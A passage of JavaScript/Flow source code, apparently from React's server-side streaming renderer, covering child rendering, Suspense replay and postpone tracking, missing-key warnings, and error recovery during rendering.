retryNode(request, task);\n\n  task.componentStack = previousComponentStack;\n  if (__DEV__) {\n    task.debugTask = previousDebugTask;\n  }\n}\n\nfunction retryNode(request: Request, task: Task): void {\n  const node = task.node;\n  const childIndex = task.childIndex;\n\n  if (node === null) {\n    return;\n  }\n\n  // Handle object types\n  if (typeof node === 'object') {\n    switch ((node: any).$$typeof) {\n      case REACT_ELEMENT_TYPE: {\n        const element: any = node;\n        const type = element.type;\n        const key: ReactKey = element.key;\n        const props = element.props;\n\n        // TODO: We should get the ref off the props object right before using\n        // it.\n        const refProp = props.ref;\n        const ref = refProp !== undefined ? refProp : null;\n\n        const debugTask: null | ConsoleTask = __DEV__ ? task.debugTask : null;\n\n        const name = getComponentNameFromType(type);\n        const keyOrIndex =\n          key == null || key === REACT_OPTIMISTIC_KEY\n            ? childIndex === -1\n              ? 0\n              : childIndex\n            : key;\n        const keyPath = [task.keyPath, name, keyOrIndex];\n        if (task.replay !== null) {\n          if (debugTask) {\n            debugTask.run(\n              replayElement.bind(\n                null,\n                request,\n                task,\n                keyPath,\n                name,\n                keyOrIndex,\n                childIndex,\n                type,\n                props,\n                ref,\n                task.replay,\n              ),\n            );\n          } else {\n            replayElement(\n              request,\n              task,\n              keyPath,\n              name,\n              keyOrIndex,\n              childIndex,\n              type,\n              props,\n              ref,\n              task.replay,\n            );\n          }\n          // No matches found for this node. We assume it's already emitted in the\n          // prelude and skip it during the replay.\n        } else {\n          // We're doing a plain render.\n          if (debugTask) {\n            debugTask.run(\n              renderElement.bind(\n                null,\n                request,\n                task,\n                keyPath,\n                type,\n                props,\n                ref,\n              ),\n            );\n          } else {\n            renderElement(request, task, keyPath, type, props, ref);\n          }\n        }\n        return;\n      }\n      case REACT_PORTAL_TYPE:\n        throw new Error(\n          'Portals are not currently supported by the server renderer. ' +\n            'Render them conditionally so that they only appear on the client render.',\n        );\n      case REACT_LAZY_TYPE: {\n        const lazyNode: LazyComponentType<any, any> = (node: any);\n        let resolvedNode;\n        if (__DEV__) {\n          resolvedNode = callLazyInitInDEV(lazyNode);\n        } else {\n          const payload = lazyNode._payload;\n          const init = lazyNode._init;\n          resolvedNode = init(payload);\n        }\n        if (request.status === ABORTING) {\n          // eslint-disable-next-line no-throw-literal\n          throw null;\n        }\n        // Now we render the resolved node\n        renderNodeDestructive(request, task, resolvedNode, childIndex);\n        return;\n      }\n    }\n\n    if (isArray(node)) {\n      renderChildrenArray(request, task, node, childIndex);\n      return;\n    }\n\n    const iteratorFn = getIteratorFn(node);\n    if (iteratorFn) {\n      const iterator = iteratorFn.call(node);\n      if (iterator) {\n        if (__DEV__) {\n          validateIterable(task, node, childIndex, iterator, iteratorFn);\n        }\n        // We need to know how many total children are in this set, so that we\n        // can allocate enough id slots to acommodate them. So we must exhaust\n        // the iterator before we start recursively rendering the children.\n        // TODO: This is not great but I think it's inherent to the id\n        // generation algorithm.\n        let step = iterator.next();\n        if (!step.done) {\n          const children = [];\n          do {\n            children.push(step.value);\n            step = iterator.next();\n          } while (!step.done);\n          renderChildrenArray(request, task, children, childIndex);\n        }\n        return;\n      }\n    }\n\n    if (\n      enableAsyncIterableChildren &&\n      typeof (node: any)[ASYNC_ITERATOR] === 'function'\n    ) {\n      const iterator: AsyncIterator<ReactNodeList> = (node: any)[\n        ASYNC_ITERATOR\n      ]();\n      if (iterator) {\n        if (__DEV__) {\n          validateAsyncIterable(task, (node: any), childIndex, iterator);\n        }\n        // TODO: Update the task.node to be the iterator to avoid asking\n        // for new iterators, but we currently warn for rendering these\n        // so needs some refactoring to deal with the warning.\n\n        // Restore the thenable state before resuming.\n        const prevThenableState = task.thenableState;\n        task.thenableState = null;\n        prepareToUseThenableState(prevThenableState);\n\n        // We need to know how many total children are in this set, so that we\n        // can allocate enough id slots to acommodate them. So we must exhaust\n        // the iterator before we start recursively rendering the children.\n        // TODO: This is not great but I think it's inherent to the id\n        // generation algorithm.\n        const children = [];\n\n        let done = false;\n\n        if (iterator === node) {\n          // If it's an iterator we need to continue reading where we left\n          // off. We can do that by reading the first few rows from the previous\n          // thenable state.\n          // $FlowFixMe\n          let step = readPreviousThenableFromState();\n          while (step !== undefined) {\n            if (step.done) {\n              done = true;\n              break;\n            }\n            children.push(step.value);\n            step = readPreviousThenableFromState();\n          }\n        }\n\n        if (!done) {\n          let step = unwrapThenable(iterator.next());\n          while (!step.done) {\n            children.push(step.value);\n            step = unwrapThenable(iterator.next());\n          }\n        }\n        renderChildrenArray(request, task, children, childIndex);\n        return;\n      }\n    }\n\n    // Usables are a valid React node type. When React encounters a Usable in\n    // a child position, it unwraps it using the same algorithm as `use`. For\n    // example, for promises, React will throw an exception to unwind the\n    // stack, then replay the component once the promise resolves.\n    //\n    // A difference from `use` is that React will keep unwrapping the value\n    // until it reaches a non-Usable type.\n    //\n    // e.g. Usable<Usable<Usable<T>>> should resolve to T\n    const maybeUsable: Object = node;\n    if (typeof maybeUsable.then === 'function') {\n      // Clear any previous thenable state that was created by the unwrapping.\n      task.thenableState = null;\n      const thenable: Thenable<ReactNodeList> = (maybeUsable: any);\n      const result = renderNodeDestructive(\n        request,\n        task,\n        unwrapThenable(thenable),\n        childIndex,\n      );\n      return result;\n    }\n\n    if (maybeUsable.$$typeof === REACT_CONTEXT_TYPE) {\n      const context: ReactContext<ReactNodeList> = (maybeUsable: any);\n      return renderNodeDestructive(\n        request,\n        task,\n        readContext(context),\n        childIndex,\n      );\n    }\n\n    // $FlowFixMe[method-unbinding]\n    const childString = Object.prototype.toString.call(node);\n\n    throw new Error(\n      `Objects are not valid as a React child (found: ${\n        childString === '[object Object]'\n          ? 'object with keys {' + Object.keys(node).join(', ') + '}'\n          : childString\n      }). ` +\n        'If you meant to render a collection of children, use an array ' +\n        'instead.',\n    );\n  }\n\n  if (typeof node === 'string') {\n    const segment = task.blockedSegment;\n    if (segment === null) {\n      // We assume a text node doesn't have a representation in the replay set,\n      // since it can't postpone. If it does, it'll be left unmatched and error.\n    } else {\n      segment.lastPushedText = pushTextInstance(\n        segment.chunks,\n        node,\n        request.renderState,\n        segment.lastPushedText,\n      );\n    }\n    return;\n  }\n\n  if (typeof node === 'number' || typeof node === 'bigint') {\n    const segment = task.blockedSegment;\n    if (segment === null) {\n      // We assume a text node doesn't have a representation in the replay set,\n      // since it can't postpone. If it does, it'll be left unmatched and error.\n    } else {\n      segment.lastPushedText = pushTextInstance(\n        segment.chunks,\n        '' + node,\n        request.renderState,\n        segment.lastPushedText,\n      );\n    }\n    return;\n  }\n\n  if (__DEV__) {\n    if (typeof node === 'function') {\n      warnOnFunctionType(node);\n    }\n    if (typeof node === 'symbol') {\n      warnOnSymbolType(node);\n    }\n  }\n}\n\nfunction replayFragment(\n  request: Request,\n  task: ReplayTask,\n  children: Array<any>,\n  childIndex: number,\n): void {\n  // If we're supposed follow this array, we'd expect to see a ReplayNode matching\n  // this fragment.\n  const replay = task.replay;\n  const replayNodes = replay.nodes;\n  for (let j = 0; j < replayNodes.length; j++) {\n    const node = replayNodes[j];\n    if (node[1] !== childIndex) {\n      continue;\n    }\n    // Matched a replayable path.\n    const childNodes = node[2];\n    const childSlots = node[3];\n    task.replay = {nodes: childNodes, slots: childSlots, pendingTasks: 1};\n    try {\n      renderChildrenArray(request, task, children, -1);\n      if (task.replay.pendingTasks === 1 && task.replay.nodes.length > 0) {\n        throw new Error(\n          \"Couldn't find all resumable slots by key/index during replaying. \" +\n            \"The tree doesn't match so React will fallback to client rendering.\",\n        );\n      }\n      task.replay.pendingTasks--;\n    } catch (x) {\n      if (\n        typeof x === 'object' &&\n        x !== null &&\n        (x === SuspenseException || typeof x.then === 'function')\n      ) {\n        // Suspend\n        throw x;\n      }\n      task.replay.pendingTasks--;\n      // Unlike regular render, we don't terminate the siblings if we error\n      // during a replay. That's because this component didn't actually error\n      // in the original prerender. What's unable to complete is the child\n      // replay nodes which might be Suspense boundaries which are able to\n      // absorb the error and we can still continue with siblings.\n      // This is an error, stash the component stack if it is null.\n      const thrownInfo = getThrownInfo(task.componentStack);\n      erroredReplay(\n        request,\n        task.blockedBoundary,\n        x,\n        thrownInfo,\n        childNodes,\n        childSlots,\n        __DEV__ ? task.debugTask : null,\n      );\n    }\n    task.replay = replay;\n    // We finished rendering this node, so now we can consume this\n    // slot. This must happen after in case we rerender this task.\n    replayNodes.splice(j, 1);\n    break;\n  }\n}\n\nfunction warnForMissingKey(request: Request, task: Task, child: mixed): void {\n  if (__DEV__) {\n    if (\n      child === null ||\n      typeof child !== 'object' ||\n      (child.$$typeof !== REACT_ELEMENT_TYPE &&\n        child.$$typeof !== REACT_PORTAL_TYPE)\n    ) {\n      return;\n    }\n\n    if (\n      !child._store ||\n      ((child._store.validated || child.key != null) &&\n        child._store.validated !== 2)\n    ) {\n      return;\n    }\n\n    if (typeof child._store !== 'object') {\n      throw new Error(\n        'React Component in warnForMissingKey should have a _store. ' +\n          'This error is likely caused by a bug in React. Please file an issue.',\n      );\n    }\n\n    // $FlowFixMe[cannot-write] unable to narrow type from mixed to writable object\n    child._store.validated = 1;\n\n    let didWarnForKey = request.didWarnForKey;\n    if (didWarnForKey == null) {\n      didWarnForKey = request.didWarnForKey = new WeakSet();\n    }\n    const parentStackFrame = task.componentStack;\n    if (parentStackFrame === null || didWarnForKey.has(parentStackFrame)) {\n      // We already warned for other children in this parent.\n      return;\n    }\n    didWarnForKey.add(parentStackFrame);\n\n    const componentName = getComponentNameFromType(child.type);\n    const childOwner = child._owner;\n    const parentOwner = parentStackFrame.owner;\n\n    let currentComponentErrorInfo = '';\n    if (parentOwner && typeof parentOwner.type !== 'undefined') {\n      const name = getComponentNameFromType(parentOwner.type);\n      if (name) {\n        currentComponentErrorInfo =\n          '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n    if (!currentComponentErrorInfo) {\n      if (componentName) {\n        currentComponentErrorInfo = `\\n\\nCheck the top-level render call using <${componentName}>.`;\n      }\n    }\n\n    // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n    let childOwnerAppendix = '';\n    if (childOwner != null && parentOwner !== childOwner) {\n      let ownerName = null;\n      if (typeof childOwner.type !== 'undefined') {\n        ownerName = getComponentNameFromType(childOwner.type);\n      } else if (typeof childOwner.name === 'string') {\n        ownerName = childOwner.name;\n      }\n      if (ownerName) {\n        // Give the component that originally created this child.\n        childOwnerAppendix = ` It was passed a child from ${ownerName}.`;\n      }\n    }\n\n    // We create a fake component stack for the child to log the stack trace from.\n    const previousComponentStack = task.componentStack;\n    const stackFrame = createComponentStackFromType(\n      task.componentStack,\n      (child: any).type,\n      (child: any)._owner,\n      (child: any)._debugStack,\n    );\n    task.componentStack = stackFrame;\n    console.error(\n      'Each child in a list should have a unique \"key\" prop.' +\n        '%s%s See https://react.dev/link/warning-keys for more information.',\n      currentComponentErrorInfo,\n      childOwnerAppendix,\n    );\n    task.componentStack = previousComponentStack;\n  }\n}\n\nfunction renderChildrenArray(\n  request: Request,\n  task: Task,\n  children: Array<any>,\n  childIndex: number,\n): void {\n  const prevKeyPath = task.keyPath;\n  const previousComponentStack = task.componentStack;\n  let previousDebugTask = null;\n  if (__DEV__) {\n    previousDebugTask = task.debugTask;\n    // We read debugInfo from task.node instead of children because it might have been an\n    // unwrapped iterable so we read from the original node.\n    pushServerComponentStack(task, (task.node: any)._debugInfo);\n  }\n  if (childIndex !== -1) {\n    task.keyPath = [task.keyPath, 'Fragment', childIndex];\n    if (task.replay !== null) {\n      replayFragment(\n        request,\n        // $FlowFixMe: Refined.\n        task,\n        children,\n        childIndex,\n      );\n      task.keyPath = prevKeyPath;\n      if (__DEV__) {\n        task.componentStack = previousComponentStack;\n        task.debugTask = previousDebugTask;\n      }\n      return;\n    }\n  }\n\n  const prevTreeContext = task.treeContext;\n  const totalChildren = children.length;\n\n  if (task.replay !== null) {\n    // Replay\n    // First we need to check if we have any resume slots at this level.\n    const resumeSlots = task.replay.slots;\n    if (resumeSlots !== null && typeof resumeSlots === 'object') {\n      for (let i = 0; i < totalChildren; i++) {\n        const node = children[i];\n        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);\n        // We need to use the non-destructive form so that we can safely pop back\n        // up and render the sibling if something suspends.\n        const resumeSegmentID = resumeSlots[i];\n        // TODO: If this errors we should still continue with the next sibling.\n        if (typeof resumeSegmentID === 'number') {\n          resumeNode(request, task, resumeSegmentID, node, i);\n          // We finished rendering this node, so now we can consume this\n          // slot. This must happen after in case we rerender this task.\n          delete resumeSlots[i];\n        } else {\n          renderNode(request, task, node, i);\n        }\n      }\n      task.treeContext = prevTreeContext;\n      task.keyPath = prevKeyPath;\n      if (__DEV__) {\n        task.componentStack = previousComponentStack;\n        task.debugTask = previousDebugTask;\n      }\n      return;\n    }\n  }\n\n  for (let i = 0; i < totalChildren; i++) {\n    const node = children[i];\n    if (__DEV__) {\n      warnForMissingKey(request, task, node);\n    }\n    task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);\n    // We need to use the non-destructive form so that we can safely pop back\n    // up and render the sibling if something suspends.\n    renderNode(request, task, node, i);\n  }\n\n  // Because this context is always set right before rendering every child, we\n  // only need to reset it to the previous value at the very end.\n  task.treeContext = prevTreeContext;\n  task.keyPath = prevKeyPath;\n  if (__DEV__) {\n    task.componentStack = previousComponentStack;\n    task.debugTask = previousDebugTask;\n  }\n}\n\nfunction trackPostponedBoundary(\n  request: Request,\n  trackedPostpones: PostponedHoles,\n  boundary: SuspenseBoundary,\n): ReplaySuspenseBoundary {\n  boundary.status = POSTPONED;\n  // We need to eagerly assign it an ID because we'll need to refer to\n  // it before flushing and we know that we can't inline it.\n  boundary.rootSegmentID = request.nextSegmentId++;\n\n  const tracked = boundary.tracked;\n  if (tracked === null) {\n    throw new Error(\n      'It should not be possible to postpone at the root. This is a bug in React.',\n    );\n  }\n\n  const boundaryKeyPath = tracked.contentKeyPath;\n  if (boundaryKeyPath === null) {\n    throw new Error(\n      'It should not be possible to postpone at the root. This is a bug in React.',\n    );\n  }\n\n  const fallbackReplayNode = tracked.fallbackNode;\n\n  const children: Array<ReplayNode> = [];\n  const boundaryNode: void | ReplayNode =\n    trackedPostpones.workingMap.get(boundaryKeyPath);\n  if (boundaryNode === undefined) {\n    const suspenseBoundary: ReplaySuspenseBoundary = [\n      boundaryKeyPath[1],\n      boundaryKeyPath[2],\n      children,\n      null,\n      fallbackReplayNode,\n      boundary.rootSegmentID,\n    ];\n    trackedPostpones.workingMap.set(boundaryKeyPath, suspenseBoundary);\n    addToReplayParent(suspenseBoundary, boundaryKeyPath[0], trackedPostpones);\n    return suspenseBoundary;\n  } else {\n    // Upgrade to ReplaySuspenseBoundary.\n    const suspenseBoundary: ReplaySuspenseBoundary = (boundaryNode: any);\n    suspenseBoundary[4] = fallbackReplayNode;\n    suspenseBoundary[5] = boundary.rootSegmentID;\n    return suspenseBoundary;\n  }\n}\n\nfunction trackPostpone(\n  request: Request,\n  trackedPostpones: PostponedHoles,\n  task: Task,\n  segment: Segment,\n): void {\n  segment.status = POSTPONED;\n\n  const keyPath = task.keyPath;\n  const boundary = task.blockedBoundary;\n\n  if (boundary === null) {\n    segment.id = request.nextSegmentId++;\n    trackedPostpones.rootSlots = segment.id;\n    if (request.completedRootSegment !== null) {\n      // Postpone the root if this was a deeper segment.\n      request.completedRootSegment.status = POSTPONED;\n    }\n    return;\n  }\n\n  if (boundary !== null && boundary.status === PENDING) {\n    const boundaryNode = trackPostponedBoundary(\n      request,\n      trackedPostpones,\n      boundary,\n    );\n    if (\n      boundary.tracked !== null &&\n      boundary.tracked.contentKeyPath === keyPath &&\n      task.childIndex === -1\n    ) {\n      // Assign ID\n      if (segment.id === -1) {\n        if (segment.parentFlushed) {\n          // If this segment's parent was already flushed, it means we really just\n          // skipped the parent and this segment is now the root.\n          segment.id = boundary.rootSegmentID;\n        } else {\n          segment.id = request.nextSegmentId++;\n        }\n      }\n      // We postponed directly inside the Suspense boundary so we mark this for resuming.\n      boundaryNode[3] = segment.id;\n      return;\n    }\n    // Otherwise, fall through to add the child node.\n  }\n\n  // We know that this will leave a hole so we might as well assign an ID now.\n  // We might have one already if we had a parent that gave us its ID.\n  if (segment.id === -1) {\n    if (segment.parentFlushed && boundary !== null) {\n      // If this segment's parent was already flushed, it means we really just\n      // skipped the parent and this segment is now the root.\n      segment.id = boundary.rootSegmentID;\n    } else {\n      segment.id = request.nextSegmentId++;\n    }\n  }\n\n  if (task.childIndex === -1) {\n    // Resume starting from directly inside the previous parent element.\n    if (keyPath === null) {\n      trackedPostpones.rootSlots = segment.id;\n    } else {\n      const workingMap = trackedPostpones.workingMap;\n      let resumableNode = workingMap.get(keyPath);\n      if (resumableNode === undefined) {\n        resumableNode = [\n          keyPath[1],\n          keyPath[2],\n          ([]: Array<ReplayNode>),\n          segment.id,\n        ];\n        addToReplayParent(resumableNode, keyPath[0], trackedPostpones);\n      } else {\n        resumableNode[3] = segment.id;\n      }\n    }\n  } else {\n    let slots;\n    if (keyPath === null) {\n      slots = trackedPostpones.rootSlots;\n      if (slots === null) {\n        slots = trackedPostpones.rootSlots = ({}: {[index: number]: number});\n      } else if (typeof slots === 'number') {\n        throw new Error(\n          'It should not be possible to postpone both at the root of an element ' +\n            'as well as a slot below. This is a bug in React.',\n        );\n      }\n    } else {\n      const workingMap = trackedPostpones.workingMap;\n      let resumableNode = workingMap.get(keyPath);\n      if (resumableNode === undefined) {\n        slots = ({}: {[index: number]: number});\n        resumableNode = ([\n          keyPath[1],\n          keyPath[2],\n          ([]: Array<ReplayNode>),\n          slots,\n        ]: ReplayNode);\n        workingMap.set(keyPath, resumableNode);\n        addToReplayParent(resumableNode, keyPath[0], trackedPostpones);\n      } else {\n        slots = resumableNode[3];\n        if (slots === null) {\n          slots = resumableNode[3] = ({}: {[index: number]: number});\n        } else if (typeof slots === 'number') {\n          throw new Error(\n            'It should not be possible to postpone both at the root of an element ' +\n              'as well as a slot below. This is a bug in React.',\n          );\n        }\n      }\n    }\n    slots[task.childIndex] = segment.id;\n  }\n}\n\n// In case a boundary errors, we need to stop tracking it because we won't\n// resume it.\nfunction untrackBoundary(request: Request, boundary: SuspenseBoundary) {\n  const trackedPostpones = request.trackedPostpones;\n  if (trackedPostpones === null) {\n    return;\n  }\n  const tracked = boundary.tracked;\n  if (tracked === null) {\n    return;\n  }\n  const boundaryKeyPath = tracked.contentKeyPath;\n  if (boundaryKeyPath === null) {\n    return;\n  }\n  const boundaryNode: void | ReplayNode =\n    trackedPostpones.workingMap.get(boundaryKeyPath);\n  if (boundaryNode === undefined) {\n    return;\n  }\n\n  // Downgrade to plain ReplayNode since we won't replay through it.\n  // $FlowFixMe[cannot-write]: We intentionally downgrade this to the other tuple.\n  boundaryNode.length = 4;\n  // Remove any resumable slots.\n  boundaryNode[2] = [];\n  boundaryNode[3] = null;\n\n  // TODO: We should really just remove the boundary from all parent paths too so\n  // we don't replay the path to it.\n}\n\nfunction spawnNewSuspendedReplayTask(\n  request: Request,\n  task: ReplayTask,\n  thenableState: ThenableState | null,\n): ReplayTask {\n  return createReplayTask(\n    request,\n    thenableState,\n    task.replay,\n    task.node,\n    task.childIndex,\n    task.blockedBoundary,\n    task.hoistableState,\n    task.abortSet,\n    task.keyPath,\n    task.formatContext,\n    task.context,\n    task.treeContext,\n    task.row,\n    task.componentStack,\n    !disableLegacyContext ? task.legacyContext : emptyContextObject,\n    __DEV__ ? task.debugTask : null,\n  );\n}\n\nfunction spawnNewSuspendedRenderTask(\n  request: Request,\n  task: RenderTask,\n  thenableState: ThenableState | null,\n): RenderTask {\n  // Something suspended, we'll need to create a new segment and resolve it later.\n  const segment = task.blockedSegment;\n  const insertionIndex = segment.chunks.length;\n  const newSegment = createPendingSegment(\n    request,\n    insertionIndex,\n    null,\n    task.formatContext,\n    // Adopt the parent segment's leading text embed\n    segment.lastPushedText,\n    // Assume we are text embedded at the trailing edge\n    true,\n  );\n  segment.children.push(newSegment);\n  // Reset lastPushedText for current Segment since the new Segment \"consumed\" it\n  segment.lastPushedText = false;\n  return createRenderTask(\n    request,\n    thenableState,\n    task.node,\n    task.childIndex,\n    task.blockedBoundary,\n    newSegment,\n    task.blockedPreamble,\n    task.hoistableState,\n    task.abortSet,\n    task.keyPath,\n    task.formatContext,\n    task.context,\n    task.treeContext,\n    task.row,\n    task.componentStack,\n    !disableLegacyContext ? task.legacyContext : emptyContextObject,\n    __DEV__ ? task.debugTask : null,\n  );\n}\n\n// This is a non-destructive form of rendering a node. If it suspends it spawns\n// a new task and restores the context of this task to what it was before.\nfunction renderNode(\n  request: Request,\n  task: Task,\n  node: ReactNodeList,\n  childIndex: number,\n): void {\n  // Snapshot the current context in case something throws to interrupt the\n  // process.\n  const previousFormatContext = task.formatContext;\n  const previousLegacyContext = !disableLegacyContext\n    ? task.legacyContext\n    : emptyContextObject;\n  const previousContext = task.context;\n  const previousKeyPath = task.keyPath;\n  const previousTreeContext = task.treeContext;\n  const previousComponentStack = task.componentStack;\n  const previousDebugTask = __DEV__ ? task.debugTask : null;\n  let x;\n  // Store how much we've pushed at this point so we can reset it in case something\n  // suspended partially through writing something.\n  const segment = task.blockedSegment;\n  if (segment === null) {\n    // Replay\n    task = ((task: any): ReplayTask); // Refined\n    const previousReplaySet: ReplaySet = task.replay;\n    try {\n      return renderNodeDestructive(request, task, node, childIndex);\n    } catch (thrownValue) {\n      resetHooksState();\n\n      x =\n        thrownValue === SuspenseException\n          ? // This is a special type of exception used for Suspense. For historical\n            // reasons, the rest of the Suspense implementation expects the thrown\n            // value to be a thenable, because before `use` existed that was the\n            // (unstable) API for suspending. This implementation detail can change\n            // later, once we deprecate the old API in favor of `use`.\n            getSuspendedThenable()\n          : thrownValue;\n\n      if (request.status === ABORTING) {\n        // We are aborting so we can just bubble up to the task by falling through\n      } else if (typeof x === 'object' && x !== null) {\n        // $FlowFixMe[method-unbinding]\n        if (typeof x.then === 'function') {\n          const wakeable: Wakeable = (x: any);\n          const thenableState =\n            thrownValue === SuspenseException\n              ? getThenableStateAfterSuspending()\n              : null;\n          const newTask = spawnNewSuspendedReplayTask(\n            request,\n            // $FlowFixMe: Refined.\n            task,\n            thenableState,\n          );\n          const ping = newTask.ping;\n          wakeable.then(ping, ping);\n\n          // Restore the context. We assume that this will be restored by the inner\n          // functions in case nothing throws so we don't use \"finally\" here.\n          task.formatContext = previousFormatContext;\n          if (!disableLegacyContext) {\n            task.legacyContext = previousLegacyContext;\n          }\n          task.context = previousContext;\n          task.keyPath = previousKeyPath;\n          task.treeContext = previousTreeContext;\n          task.componentStack = previousComponentStack;\n          task.replay = previousReplaySet;\n          if (__DEV__) {\n            task.debugTask = previousDebugTask;\n          }\n          // Restore all active ReactContexts to what they were before.\n          switchContext(previousContext);\n          return;\n        }\n        if (x.message === 'Maximum call stack size exceeded') {\n          // This was a stack overflow. We do a lot of recursion in React by default for\n          // performance but it can lead to stack overflows in extremely deep trees.\n          // We do have the ability to create a trampoile if this happens which makes\n          // this kind of zero-cost.\n          const thenableState =\n            thrownValue === SuspenseException\n              ? getThenableStateAfterSuspending()\n              : null;\n          const newTask = spawnNewSuspendedReplayTask(\n            request,\n            // $FlowFixMe: Refined.\n            task,\n            thenableState,\n          );\n\n          // Immediately schedule the task for retrying.\n          request.pingedTasks.push(newTask);\n\n          // Restore the context. We assume that this will be restored by the inner\n          // functions in case nothing throws so we don't use \"finally\" here.\n          task.formatContext = previousFormatContext;\n          if (!disableLegacyContext) {\n            task.legacyContext = previousLegacyContext;\n          }\n          task.context = previousContext;\n          task.keyPath = previousKeyPath;\n          task.treeContext = previousTreeContext;\n          task.componentStack = previousComponentStack;\n          task.replay = previousReplaySet;\n          if (__DEV__) {\n            task.debugTask = previousDebugTask;\n          }\n          // Restore all active ReactContexts to what they were before.\n          switchContext(previousContext);\n          return;\n        }\n      }\n\n      // TODO: Abort any undiscovered Suspense boundaries in the ReplayNode.\n    }\n  } else {\n    // Render\n    const childrenLength = segment.children.length;\n    const chunkLength = segment.chunks.length;\n    try {\n      return renderNodeDestructive(request, task, node, childIndex);\n    } catch (thrownValue) {\n      resetHooksState();\n\n      // Reset the write pointers to where we started.\n      segment.children.length = childrenLength;\n      segment.chunks.length = chunkLength;\n\n      x =\n        thrownValue === SuspenseException\n          ? // This is a special type of exception used for Suspense. For historical\n            // reasons, the rest of the Suspense implementation expects the thrown\n            // value to be a thenable, because before `use` existed that was the\n            // (unstable) API for suspending. This implementation detail can change\n            // later, once we deprecate the old API in favor of `use`.\n            getSuspendedThenable()\n          : thrownValue;\n\n      if (request.status === ABORTING) {\n        // We are aborting so we can just bubble up to the task by falling through\n      } else if (typeof x === 'object' && x !== null) {\n        // $FlowFixMe[method-unbinding]\n        if (typeof x.then === 'function') {\n          const wakeable: Wakeable = (x: any);\n          const thenableState =\n            thrownValue === SuspenseException\n              ? getThenableStateAfterSuspending()\n              : null;\n          const newTask = spawnNewSuspendedRenderTask(\n            request,\n            // $FlowFixMe: Refined.\n            task,\n            thenableState,\n          );\n          const ping = newTask.ping;\n          wakeable.then(ping, ping);\n\n          // Restore the context. We assume that this will be restored by the inner\n          // functions in case nothing throws so we don't use \"finally\" here.\n          task.formatContext = previousFormatContext;\n          if (!disableLegacyContext) {\n            task.legacyContext = previousLegacyContext;\n          }\n          task.context = previousContext;\n          task.keyPath = previousKeyPath;\n          task.treeContext = previousTreeContext;\n          task.componentStack = previousComponentStack;\n          if (__DEV__) {\n            task.debugTask = previousDebugTask;\n          }\n          // Restore all active ReactContexts to what they were before.\n          switchContext(previousContext);\n          return;\n        }\n        if (x.message === 'Maximum call stack size exceeded') {\n          // This was a stack overflow. We do a lot of recursion in React by default for\n          // performance but it can lead to stack overflows in extremely deep trees.\n          // We do have the ability to create a trampoile if this happens which makes\n          // this kind of zero-cost.\n          const thenableState =\n            thrownValue === SuspenseException\n              ? getThenableStateAfterSuspending()\n              : null;\n          const newTask = spawnNewSuspendedRenderTask(\n            request,\n            // $FlowFixMe: Refined.\n            task,\n            thenableState,\n          );\n\n          // Immediately schedule the task for retrying.\n          request.pingedTasks.push(newTask);\n\n          // Restore the context. We assume that this will be restored by the inner\n          // functions in case nothing throws so we don't use \"finally\" here.\n          task.formatContext = previousFormatContext;\n          if (!disableLegacyContext) {\n            task.legacyContext = previousLegacyContext;\n          }\n          task.context = previousContext;\n          task.keyPath = previousKeyPath;\n          task.treeContext = previousTreeContext;\n          task.componentStack = previousComponentStack;\n          if (__DEV__) {\n            task.debugTask = previousDebugTask;\n          }\n          // Restore all active ReactContexts to what they were before.\n          switchContext(previousContext);\n          return;\n        }\n      }\n    }\n  }\n\n  // Restore the context. We assume that this will be restored by the inner\n  // functions in case nothing throws so we don't use \"finally\" here.\n  task.formatContext = previousFormatContext;\n  if (!disableLegacyContext) {\n    task.legacyContext = previousLegacyContext;\n  }\n  task.context = previousContext;\n  task.keyPath = previousKeyPath;\n  task.treeContext = previousTreeContext;\n  // We intentionally do not restore the component stack on the error pathway\n  // Whatever handles the error needs to use this stack which is the location of the\n  // error. We must restore the stack wherever we handle this\n\n  // Restore all active ReactContexts to what they were before.\n  switchContext(previousContext);\n\n  throw x;\n}\n\nfunction erroredReplay(\n  request: Request,\n  boundary: Root | SuspenseBoundary,\n  error: mixed,\n  errorInfo: ThrownInfo,\n  replayNodes: ReplayNode[],\n  resumeSlots: ResumeSlots,\n  debugTask: null | ConsoleTask,\n): void {\n  // Erroring during a replay doesn't actually cause an error by itself because\n  // that component has already rendered. What causes the error is the resumable\n  // points that we did not yet finish which will be below the point of the reset.\n  // For example, if we're replaying a path to a Suspense boundary that is not done\n  // that doesn't error the parent Suspense boundary.\n  // This might be a bit strange that the error in a parent gets thrown at a child.\n  // We log it only once and reuse the digest.\n  const errorDigest = logRecoverableError(request, error, errorInfo, debugTask);\n  abortRemainingReplayNodes(\n    request,\n    boundary,\n    replayNodes,\n    resumeSlots,\n    error,\n    errorDigest,\n    errorInfo,\n    false,\n  );\n}\n\nfunction erroredTask(\n  request: Request,\n  boundary: Root | SuspenseBoundary,\n  row: null | SuspenseListRow,\n  error: mixed,\n  errorInfo: ThrownInfo,\n  debugTask: null | ConsoleTask,\n) {\n  if (row !== null) {\n    if (--row.pendingTasks === 0) {\n      finishSuspenseListRow(request, row);\n    }\n  }\n\n  request.allPendingTasks--;\n\n  // Report the error to a global handler.\n  // We don't handle halts here because we only halt when prerendering and\n  // when prerendering we should be finishing tasks not erroring them when\n  // they halt or postpone\n  const errorDigest = logRecoverableError(request, error, errorInfo, debugTask);\n  if (boundary === null) {\n    fatalError(request, error, errorInfo, debugTask);\n  } else {\n    boundary.pendingTasks--;\n    if (boundary.status !== CLIENT_RENDERED) {\n      boundary.status = CLIENT_RENDERED;\n      encodeErrorForBoundary(boundary, errorDigest, error, errorInfo, false);\n      untrackBoundary(request, boundary);\n\n      const boundaryRow = boundary.row;\n      if (boundaryRow !== null) {\n        // Unblock the SuspenseListRow that was blocked by this boundary.\n        if (--boundaryRow.pendingTasks === 0) {\n          finishSuspenseListRow(request, boundaryRow);\n        }\n      }\n\n      // Regardless of what happens next, this boundary won't be displayed,\n      // so we can flush it, if the parent already flushed.\n      if (boundary.parentFlushed) {\n        // We don't have a preference where in the queue this goes since it's likely\n        // to error on the client anyway. However, intentionally client-rendered\n        // boundaries should be flushed earlier so that they can start on the client.\n        // We reuse the same queue for errors.\n        request.clientRenderedBoundaries.push(boundary);\n      }\n\n      if (\n        request.pendingRootTasks === 0 &&\n        request.trackedPostpones === null &&\n        boundary.preamble !== null\n      ) {\n        // The root is complete and this boundary may contribute part of the preamble.\n        // We eagerly attempt to prepare the preamble here because we expect most requests\n        // to have few boundaries which contribute preambles and it allow us to do 